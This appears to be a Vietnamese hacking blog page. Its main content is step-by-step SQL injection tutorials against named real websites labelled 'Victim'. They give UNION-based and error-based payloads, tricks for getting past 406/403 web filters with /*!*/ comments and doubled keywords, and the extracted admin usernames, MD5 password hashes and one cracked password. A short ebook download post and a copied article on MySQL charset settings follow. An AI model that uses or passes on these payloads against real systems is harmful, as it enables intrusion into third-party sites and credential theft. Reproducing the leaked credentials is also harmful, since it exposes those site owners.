[TUT] Khai thác SQLI+Bypass 406 (/!**/)

<iframe allowfullscreen="" frameborder="0" height="315" src="//www.youtube.com/embed/YDManMqayHY" width="420"></iframe> http://baohiemvietlife.com/index.php?page=news&catid=6 => Victim<br /> Start:<br /> (SQLI)<br /> B1: kiểm tra lỗi<br /> Thêm dấu ‘ vào sau query:<br /> http://baohiemvietlife.com/index.php?page=news&catid=6′ =><br /> Error: You have an error in your SQL syntax; check the manual that<br /> corresponds to your MySQL server version for the right syntax to<br /> use near ”’ at line 1Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” ORDER BY Position asc’ at line 1Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” ORDER BY Position asc’ at line 1 => lỗi rồi nhé =))<br /> B2: Order by<br /> http://baohiemvietlife.com/index.php?page=news&catid=6 order by 5 => Site bình thường<br /> http://baohiemvietlife.com/index.php?page=news&catid=6 order by 6– – => lỗi rồi<br /> ~> số cột lỗi ở đây là 5 cột :))) vì khi order tới 6 site lỗi mà order 5 site lại bình thường nên 6-1=5 :))))<br /> Tiếp nhé<br /> B3: Union để tìm cột lỗi<br /> http://baohiemvietlife.com/index.php?page=news&catid=-6 UNION SELECT 1,2,3,4,5– -=><br /> Not Acceptable<br /> An appropriate representation of the requested resource /index.php could not be found on this server.<br /> Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.<br /> <br /> Tới đây đã là chuyển sang Bypass rồi đó<br /> <br /> (BYPASS)<br /> với not acceptable theo tớ lên gg search thì nó là bypass 406 ==” và các bạn có thể thấy ở cái <title> của trang web đó :))) nó báo là 406 not acceptable<br /> <br /> B4: Bypass 406<br /> http://baohiemvietlife.com/index.php?page=news&catid=-6 UNION SELECT 1,2,3,4,5– -<br /> ta bypass bằng cách thêm dấu /*!*/ vào đoạn select ta sẽ được:<br /> http://baohiemvietlife.com/index.php?page=news&catid=-6 UNION /*!SELECT*/ 1,2,3,4,5– -<br /> hehe :))) hết chặn nhé :)) bạn thấy có số 2 đúng không<br /> <br /> B5: get version,user,database…<br /> http://baohiemvietlife.com/index.php?page=news&catid=-6 UNION /*!SELECT*/ 1,concat(/*!database(),0x2f,@@version,0x2f,user()*/),3,4,5 from information_schema.tables where tables– -<br /> chú ý: 0x2f là dấu / đã chuyển qua dạng mã hex và ta phải thêm dấu /*!*/ vào concat(database(),0x2f,@@version,0x2f,user()) để bypass ta sẽ được query như trên<br /> verrsion: 5.1.73-cll<br /> database: vietlife_user@localhost<br /> user: vietlife_baohiem<br /> B6: get table<br /> http://baohiemvietlife.com/index.php?page=news&catid=-6 UNION /*!SELECT*/ 1,group_concat(/*!table_name*/),3,4,5 from information_schema.tables where /*!table_schema*/=database()– -<br /> <br /> B7: get column trong table chứ a infor admin<br /> table chứ a infor admin là: admin<br /> http://baohiemvietlife.com/index.php?page=news&catid=-6 UNION /*!SELECT*/ 1,group_concat(/*!column_name*/),3,4,5 from information_schema.columns where /*!table_name*/=0x61646d696e– -<br /> 61646d696e là ký tự admin chuyển qua hex<br /> <br /> B7: get infor trong column Username,Password<br /> http://baohiemvietlife.com/index.php?page=news&catid=-6 UNION /*!SELECT*/ 1,group_concat(/*!Username,0x2f,Password*/),3,4,5 from admin– -<br /> infor: DangThu/6ed83afc63d3c8da076b4e726f06b0fa,adicon/cf62ed58d18fd413ca4a6fcdb3315efe<br /> <br /> B8: crack pass md5 kia và tìm link admin :)) sau đó login thôi :)) nếu may mắn sẽ login được<br /> <br /> à tớ có cái query này tận dụng số cột lỗi xuất ra cả version+database+user+và infor:<br /> http://baohiemvietlife.com/index.php?page=news&catid=-null UNION /*!SELECT*/ 1,concat(/*!database(),0x2f,@@version,0x2f,user(),0x2f,Username ,0x2f,Password */),3,4,5 from admin– -<br /> <br /> Nguồn caspervn29

[TUT] Khai thác SQLI+Bypass 406 (/!**/)

http://baohiemvietlife.com/index.php?page=news&catid=6 => Victim Start: (SQLI) B1: kiểm tra lỗi Thêm dấu ‘ vào sau query: http...

Read more »

Bộ ebook học SQL và có kèm SQL prac để thực hành

<div class="oup-content"> Ebook này khá hay và dễ hiểu có kèm theo SQl prac để thực hành<br /> Có gì sai sót mong các bạn liên hệ thông báo cho mình ạ <img alt=":)" class="wp-smiley" src="http://inv.ghostteam.us/wp-includes/images/smilies/icon_smile.gif" /><br /> Link tải: <a href="http://www.mediafire.com/download/2zbyscmdp7d20lp/Ebook+h%E1%BB%8Dc+SQL+k%C3%A8m+sql+prac+th%E1%BB%B1c+h%C3%A0nh.rar">Bấm Vào Đây</a><br /> Sưu tầm và upload bởi Caspervn29<br /> </div>

Bộ ebook học SQL và có kèm SQL prac để thực hành

Ebook này khá hay và dễ hiểu có kèm theo SQl prac để thực hành Có gì sai sót mong các bạn liên hệ thông báo cho mình ạ Link tải:  Bấm V...

Read more »

Khai thác lỗi SQL Injection dạng error-based quick blind

<div class="oup-content"> Ví dụ victim có dạng:<br /> http://target.com/page.php?id = 1<br /> Lệnh get version, database<br /> http://target.com/page.php?id = 1 [color=#ffffffff]And (Select 1 From(Select Count(*),Concat(CHAR (124),(Select Concat(version(),0x7c,database(),0x7c,user())),floor(rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)<br /> Tương tự vậy, lệnh get table:<br /> And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(table_name),1,145) FROM information_schema.tables where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)<br /> Bạn để ý chỗ 1,145…Tăng số 1 đó thành một số lớn hơn (thường là số ký tự được trả ra trong dấu ngoặc kép sau phần duplicate entrie….)<br /> And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(table_name),63,145) FROM information_schema.tables where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)<br /> Tiếp theo, lấy column của một table nào đó<br /> And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(column_name),1,145) FROM information_schema.columns where table_schema=database() and table_name=0xso_hex_cua_tablename) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)<br /> Tăng số 1 theo nguyên tắc như trên.<br /> Và cuối cùng là dữ liệu:<br /> And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(column_name_1,0x7c,column_name_2),1,145) FROM table_name_nao_do) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)<br /> Mỗi site sẽ có cách khai thác khác nhau.Tuỳ cơ ứng biến nhé<br /> ===========================================================<br /> +and 1=CAST(current_user||CHR(58)||current_database()|| CHR(58)||version()||CHR(58)||123 as int)<br /> ===========================================================<br /> ‘ and ’1′=(select 1 AND ExtractValue(1,concat(0x5C,(user())))) and ’1′=’1<br /> ===========================================================<br /> and updatexml(0,concat(0x3a,version()),0)– -<br /> ===========================================================<br /> null and extractvalue(rand(),concat(0x3a,version(),0x3a,use r()))–<br /> ===========================================================<br /> (@:=1)||@ group by concat(version(),0x7c,database(),0x7c,user(),!@) having@||min(@:=0)<br /> ===========================================================<br /> /*!And (Select 1 From(Select Count(*),Concat(CHAR (124),(Select concat_ws(0x7c,version(),database(),user())),floor (rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)*/–<br /> ===========================================================<br /> +or+1+group+by+concat(0x7c,version(),floor(rand(0) *2))+having+min(0)+or+1–+<br /> <br /> Nguồn GT <br /> </div>

Khai thác lỗi SQL Injection dạng error-based quick blind

Ví dụ victim có dạng: http://target.com/page.php?id = 1 Lệnh get version, database http://target.com/page.php?id = 1 [color=#ffffffff...

Read more »

[TUT] Bypass Filter + 403 Forbidden SQL Injection

<span class="Apple-style-span" style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 18px;">Mọi người cùng tham khảo cách bypass nhé !</span><br style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 18px;" /><br style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 18px;" /><span class="Apple-style-span" style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 18px;">Victim :</span><br style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 18px;" /><span class="Apple-style-span" style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 18px;">Quote:</span><br style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 18px;" /><a href="http://spaadam.com/vi/news.php?newsid=108" rel="nofollow nofollow" style="background-color: white; color: #3b5998; cursor: pointer; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 18px; text-decoration: none;" target="_blank">http://spaadam.com/vi/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>news.php?newsid=108</a><br style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 18px;" /><br style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 18px;" /><span class="Apple-style-span" style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 18px;">check lỗi :</span><br style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 18px;" /><span class="Apple-style-span" style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 18px;">Quote:</span><br /> <br /> <div class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 18px;"> <a href="http://spaadam.com/vi/news.php?newsid=108" rel="nofollow nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://spaadam.com/vi/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>news.php?newsid=108</a>'<br />Quote:<br />You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1<br />-> Lỗi rồi nhé ! tiếp tục order<br />Quote:<br /><a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fspaadam.com%2Fvi%2Fnews.php%3Fnewsid%3D108&h=CAQEWBbAm&s=1" rel="nofollow nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://spaadam.com/vi/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>news.php?newsid=108</a> order by 1-- -<br />Quote:<br />You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'der by 1-- -' at line 1<br />đến đây ta thấy ! Filter đã được sử dụng , và nó đã cắn mất kí tự "or" trong "order by 1-- -" mà ta nhập<br /><br />nó cắn mất thì ta thêm lại. bypass nó như sau :<br />Quote:<br /><a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fspaadam.com%2Fvi%2Fnews.php%3Fnewsid%3D108&h=YAQGFQCOK&s=1" rel="nofollow nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://spaadam.com/vi/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>news.php?newsid=108</a> oorrder by 1-- -<br />Quote:<br />You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1-- -' at line 1<br />-> Vẫn không được rồi . Bypass /*!*/ tiếp nhé :<br />Quote:<br /><a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fspaadam.com%2Fvi%2Fnews.php%3Fnewsid%3D108&h=yAQE4FgvT&s=1" rel="nofollow nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://spaadam.com/vi/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>news.php?newsid=108</a> /*!oorrder*/ /*!by*/ 1-- -<br />Quote:<br />Một số hình ảnh mới về Spa Adam<br />Posted on 2012-03-15 14:37:25<br />-> Okay ! không lỗi rồi. giờ ta tiếp tục order ( đoạn này mình không giải thích nhiều, ai chưa hiểu thì xem tut cơ bản hơn nữa ) :<br />Quote:<br /><a href="http://spaadam.com/vi/news.php?newsid=108" rel="nofollow nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://spaadam.com/vi/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>news.php?newsid=108</a> /*!oorrder*/ /*!by*/ 7-- -<br />Quote:<br />Unknown column '7' in 'order clause'<br />Quote:<br /><a href="http://spaadam.com/vi/news.php?newsid=108" rel="nofollow nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://spaadam.com/vi/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>news.php?newsid=108</a> /*!oorrder*/ /*!by*/ 6-- -<br />Quote:<br />Một số hình ảnh mới về Spa Adam<br />Posted on 2012-03-15 14:37:25<br />-> Có 6 column .<a href="https://www.blogger.com/null" name="more"></a><br /><br />Ta tiếp tục UNION SELECT -> tìm cột lỗi để khai thác<br />Quote:<br /><a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fspaadam.com%2Fvi%2Fnews.php%3Fnewsid%3D-108&h=KAQHJ32mW&s=1" rel="nofollow nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://spaadam.com/vi/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>news.php?newsid=-108</a> UNION SELECT 1,2,3,4,5,6-- -<br />Quote:<br />403 Forbidden<br />Bypas bằng /*!UNION*/<br />Quote:<br /><a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fspaadam.com%2Fvi%2Fnews.php%3Fnewsid%3D-108&h=wAQHeDknO&s=1" rel="nofollow nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://spaadam.com/vi/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>news.php?newsid=-108</a> /*!UNION*/ SELECT 1,2,3,4,5,6-- -<br />Quote:<br />You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1,2,3,4,5,6-- -' at line 1<br />Có lẽ nào em nó đã cắn mất UNION SELECT của mình !<br /><br />Bypass :<br />Quote:<br /><a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fspaadam.com%2Fvi%2Fnews.php%3Fnewsid%3D-108&h=JAQHq3sbR&s=1" rel="nofollow nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://spaadam.com/vi/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>news.php?newsid=-108</a>/*!UNIUNIONON*/ SESELECTLECT 1,2,3,4,5,6-- -<br />Ô_Ô không thấy cái gì rồi ! giờ thay 108 bằng Null nhé<br />Quote:<br /><a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fspaadam.com%2Fvi%2Fnews.php%3Fnewsid%3DNull&h=AAQFQ3l8o&s=1" rel="nofollow nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://spaadam.com/vi/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>news.php?newsid=Null</a> /*!UNIUNIONON*/ SESELECTLECT 1,2,3,4,5,6-- -<br />-> Vô nghĩa !<br /><br />Tiếp tục thử thay số bằng Null ( 1,2,3,4,5,6 = Null,Null,Null,Null,Null,Null )<br />Quote:<br /><a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fspaadam.com%2Fvi%2Fnews.php%3Fnewsid%3D-108&h=rAQHJYmsT&s=1" rel="nofollow nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://spaadam.com/vi/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>news.php?newsid=-108</a>/*!UNIUNIONON*/<wbr></wbr><span class="word_break" style="display: inline-block;"></span> SESELECTLECT Null,Null,Null,Null,Null,Null-- -<br />Đối với việc thay số bằng nulll như thế này ! ta có thể khai thác thử từng vị trí Null khác nhau để tìm vị trí Null lỗi rồi tiếp tục khai thác .<br />Quote:<br /><a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fspaadam.com%2Fvi%2Fnews.php%3Fnewsid%3D-108&h=5AQGayQmr&s=1" rel="nofollow nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://spaadam.com/vi/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>news.php?newsid=-108</a>/*!UNIUNIONON*/<wbr></wbr><span class="word_break" style="display: inline-block;"></span> SESELECTLECT Null,Null,Null,Null,version(),Null-- -<br />Vị trí Null số 5 đã lỗi và xuất hiện kết quả nhưng đã bị mất ở đầu .<br />Quote:<br />You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '.9-MariaDB-mariadb102' at line 1<br />giờ dùng cách sau +kết hợp bypass để nó ra đầy cmn đủ<br />Quote:<br /><a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fspaadam.com%2Fvi%2Fnews.php%3Fnewsid%3D-108&h=_AQFq6F3A&s=1" rel="nofollow nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://spaadam.com/vi/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>news.php?newsid=-108</a>/*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>*!concat(0x7c,version())*/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>,Null-- -<br />Quote:<br />You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '|5.2.9-MariaDB-mariadb102' at line 1<br />có version rồi ! giờ ta tiếp tục khai thác table + kết hợp bypass /*!*/ ở Null thứ 5<br />Quote:<br /><a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fspaadam.com%2Fvi%2Fnews.php%3Fnewsid%3D-108&h=JAQHq3sbR&s=1" rel="nofollow nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://spaadam.com/vi/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>news.php?newsid=-108</a>/*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>*!table_name*/,Null /*!from*/ information_schema./*!tables*/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>where table_schema=database()-- -<br />Quote:<br />You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near './*!tables*/ where table_schema=databe()-- -' at line 1<br />Nó cắn đi khá nhiều "from information_schema" và cả as của database<br /><br />như lúc order by với union. nó cắn ở đâu thì ta vá lại ở đó :<br />Quote:<br /><a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fspaadam.com%2Fvi%2Fnews.php%3Fnewsid%3D-108&h=5AQGayQmr&s=1" rel="nofollow nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://spaadam.com/vi/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>news.php?newsid=-108</a>/*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>*!table_name*/,Null /*!frfromom*/ information_schema./*!tables*/<wbr></wbr><span class="word_break" style="display: inline-block;"></span> where table_schema=databaasse()-- -<br />Quote:<br />You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'infmation_schema./*!tables*/ where table_schema=database()-- -' at line 1<br />bypass được 2 thứ . kết quả show ra còn 1 thứ nữa. mất or trong từ information<br /><br />Nào cùng vá lại nó :<br />Quote:<br /><a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fspaadam.com%2Fvi%2Fnews.php%3Fnewsid%3D-108&h=9AQE_9j_D&s=1" rel="nofollow nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://spaadam.com/vi/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>news.php?newsid=-108</a>/*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>*!table_name*/,Null /*!frfromom*/ infoorrmation_schema./<wbr></wbr><span class="word_break" style="display: inline-block;"></span>*!tables*/ where table_schema=databaasse()-- -<br />Quote:<br />Unknown column 'admin' in 'where clause'<br />Ra table admin luôn. khỏi cần dùng limit để tìm em nó<br /><br />tiếp tục khai thác column trong table admin<br />Quote:<br /><a href="http://spaadam.com/vi/news.php?newsid=-108" rel="nofollow nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://spaadam.com/vi/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>news.php?newsid=-108</a>/*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>*!column_name*/,Null /*!frfromom*/ infoorrmation_schema./<wbr></wbr><span class="word_break" style="display: inline-block;"></span>*!columns*/ where table_schema=databaasse() and table_name=0x61646d696e-- -<br />Quote:<br />Posted on<br />Nhưng Khi :<br />Quote:<br /><a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fspaadam.com%2Fvi%2Fnews.php%3Fnewsid%3D-108&h=oAQHLyRFg&s=1" rel="nofollow nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://spaadam.com/vi/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>news.php?newsid=-108</a>/*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>*!group_concat(column_name)*/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>,Null /*!frfromom*/ infoorrmation_schema./<wbr></wbr><span class="word_break" style="display: inline-block;"></span>*!columns*/ where table_schema=databaasse() and table_name=0x61646d696e-- -<br />Quote:<br />You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'username,password' at line 1<br />okê rồi ! giờ đã có 2 column cần khai thác. giờ tiến tới data<br />Quote:<br /><a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fspaadam.com%2Fvi%2Fnews.php%3Fnewsid%3D-108&h=SAQE4B2kK&s=1" rel="nofollow nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://spaadam.com/vi/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>news.php?newsid=-108</a>/*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>*!username*/,Null /*!frfromom*/ admin-- -<br />Quote:<br />You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1<br />Không ra cái gì . Bị cắn phần đuôi . chắc là đã mất từ admin. vá cả cái admin<br />Quote:<br /><a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fspaadam.com%2Fvi%2Fnews.php%3Fnewsid%3D-108&h=6AQEmVAKt&s=1" rel="nofollow nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://spaadam.com/vi/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>news.php?newsid=-108</a>/*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>*!username*/,Null /*!frfromom*/ adadminmin-- -<br />Quote:<br />Unknown column 'admin' in 'where clause'<br />Nick admin là admin<br />Quote:<br /><a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fspaadam.com%2Fvi%2Fnews.php%3Fnewsid%3D-108&h=kAQHc5NdY&s=1" rel="nofollow nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://spaadam.com/vi/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>news.php?newsid=-108</a>/*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>*!password*/,Null /*!frfromom*/ adadminmin-- -<br />Quote:<br />Unknown column 'pswd' in 'field list'<br />pswd hiện ra nhưng đây không phải password của nó !<br /><br />mà là password đã bị nó cắn thôi. giờ TÁT vỡ mồm nó vì cái tội cắn từ đầu đến cuối nhé<br />Quote:<br /><a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fspaadam.com%2Fvi%2Fnews.php%3Fnewsid%3D-108&h=SAQE4B2kK&s=1" rel="nofollow nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://spaadam.com/vi/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>news.php?newsid=-108</a>/*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/<wbr></wbr><span class="word_break" style="display: inline-block;"></span>*!paassswoorrd*/,Null /*!frfromom*/ adadminmin-- -<br />Quote:<br />Unknown column '5f8f9e33bb5e13848af2622b66b23<wbr></wbr><span class="word_break" style="display: inline-block;"></span>08c' in 'where clause'<br />Nick: admin<br />Pass: vietnam ( anh em gg táng 5f8f9e33bb5e13848af2622b66b230<wbr></wbr><span class="word_break" style="display: inline-block;"></span>8c vào nhé )<br /><br />Tut hết tại đây. Có gì sai sót mong anh em góp ý</div> <span style="font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px;"><br /></span>

[TUT] Bypass Filter + 403 Forbidden SQL Injection

Mọi người cùng tham khảo cách bypass nhé ! Victim : Quote: http://spaadam.com/vi/ news.php?newsid=108 check lỗi : Quote: http://spaadam.c...

Read more »

Vài điểm nhỏ về charset và collation UTF-8 cho cơ sở dữ liệu MySQL

<div class="oup-content"> Cái này mình tìm trên mạng có thể có liên quan chút về việc Bypass Illegal và mục đích giải thích sơ về set collation Nguồn collation và charset: http://hontap.blogspot.com/2009/11/vai-iem-nho-ve-utf-8-cho-co-so-du-lieu.html Khi làm web bằng PHP và MySQL thì vấn đề xử lý tiếng Việt rất được hay gặp. Đôi khi nó gây rắc rối cho người làm web ở các thao tác như: sao lưu và phục hồi cơ sở dữ liệu, tạo table mới, lưu trữ và lấy dữ liệu từ cơ sở dữ liệu và hiển thị đúng, … Bản thân tôi cũng đã gặp vài lần rắc rối với tiếng Việt trong việc xử lý dữ liệu, nên viết bài này tổng hợp 1 số cái đã trải qua để ghi nhớ cho sau này.<br /> <h2> Tìm hiểu về charset và collation</h2> Chúng ta tạm hiểu charset (viết đầy đủ là character set) là tập hợp các ký tự và mã hóa tương ứng của chúng, còn collation là quy tắc để so sánh các ký tự nằm trong 1 charset. Trang chủ của MySQL có <a href="http://dev.mysql.com/doc/refman/5.0/en/charset-general.html" rel="nofollow" style="color: #3475b7;" target="_blank">ví dụ khá rõ ràng</a> để giải thích 2 khái niệm này.Thông thường (ở đây chúng ta chỉ nói đến MySQL) thì đối với mỗi charset có 1 collation mặc định đi kèm theo nó, VD: latin1 <=> latin1_swedish_ci, utf8 <=> utf8_general_ci, …<br /> <h3> Các tham số của charset và collation</h3> Đối với MySQL, thì charset và collation hiện diện ở những vị trí sau:- Phía client: dữ liệu của phía client trước tiên cần phải mã hóa theo 1 charset nào đó, thông thường chúng ta dùng utf-8. Giá trị của charset này được MySQL lưu giữ trong tham số hệ thống character_set_client – Phía server: charset và collation được dùng để mã hóa dữ liệu lưu trong hệ thống, các tham số tương ứng là character_set_server và collation_server. Ngoài ra, khi server trả dữ liệu trở lại về cho client thì chúng cũng cần phải có charset tương ứng, và tham số ứng với nó là character_set_results – Hơn thế nữa, nằm trung gian giữa client và server là 1 kết nối (connection) được tạo ra khi client gửi yêu cầu tới server (hoặc server trả kết quả về cho client). Connection này cũng yêu cầu phải có charset và collation, chúng được lưu trong các tham số hệ thống <b>character_set_connection</b> và <b>collation_connection</b> Như vậy, tổng hợp lại có cả thảy 6 tham số lưu giữ những thuộc tính về charset và collation: character_set_client character_set_server collation_server character_set_results character_set_connection collation_connection Từ đây chúng ta suy ra để server và client “có tiếng nói chung”, VD như chúng ta muốn ghi vào table dữ liệu ở đúng dạng <b>utf8</b> mà chúng ta có, thì các tham số trên phải được thiết lập cùng 1 nhóm với nhau <b>utf8</b> và <b>utf8_general_ci</b>.<br /> <h3> Cách thiết lập charset và collation</h3> Đối với người quản trị server, có quyền thao tác trên dòng lệnh với mysql thì có thể thiết lập chúng bằng câu lệnh sau: SET character_set_client = utf8; SET character_set_server = utf8; SET collation_server = utf8_general_ci; … (các lệnh sau tương tự) (ở đây tôi lấy VD là utf8, đối với các charset và collation khác làm tương tự).Tuy vậy, như thế khá dài dòng, MySQL có cung cấp cho chúng ta câu lệnh ngắn hơn như sau: Phần trong dấu ngoặc vuông [] là không bắt buộc, nghĩa là nếu không có phần đó, collation mặc định tương ứng với charset đó sẽ được dùng. Chỗ này lưu ý là <i>với mỗi charset có thể có nhiều collation</i>.Câu lệnh trên không tương ứng với hoàn toàn 6 lệnh ban đầu, mà nó chỉ tương đương với 3 lệnh sau: SET character_set_client = utf8; SET character_set_results = utf8; SET character_set_connection = utf8; Ở đây cũng lưu ý là các collation sẽ được thiết lập (mặc định) tương ứng với các charset đó. Tuy vậy, các bạn có thể thấy là vẫn thiếu lệnh thiết lập chocharacter_set_server, tôi cũng không rõ tại sao <img alt=":(" class="wp-smiley" src="http://inv.ghostteam.us/wp-includes/images/smilies/icon_sad.gif" /> .Ngoài ra, MySQL còn cung cấp 1 lệnh rút ngắn khác, tương tư như SET NAMES ở trên, đó là: SET CHARACTER SET utf8; Lệnh này cơ bản giống lệnh trên, tuy vậy, nó thiết lập charset và collation của connection (2 tham số character_set_connection, collation_connection) giống với charset và collation của database (2 tham số character_set_database,collation_database), nó tương đương với: 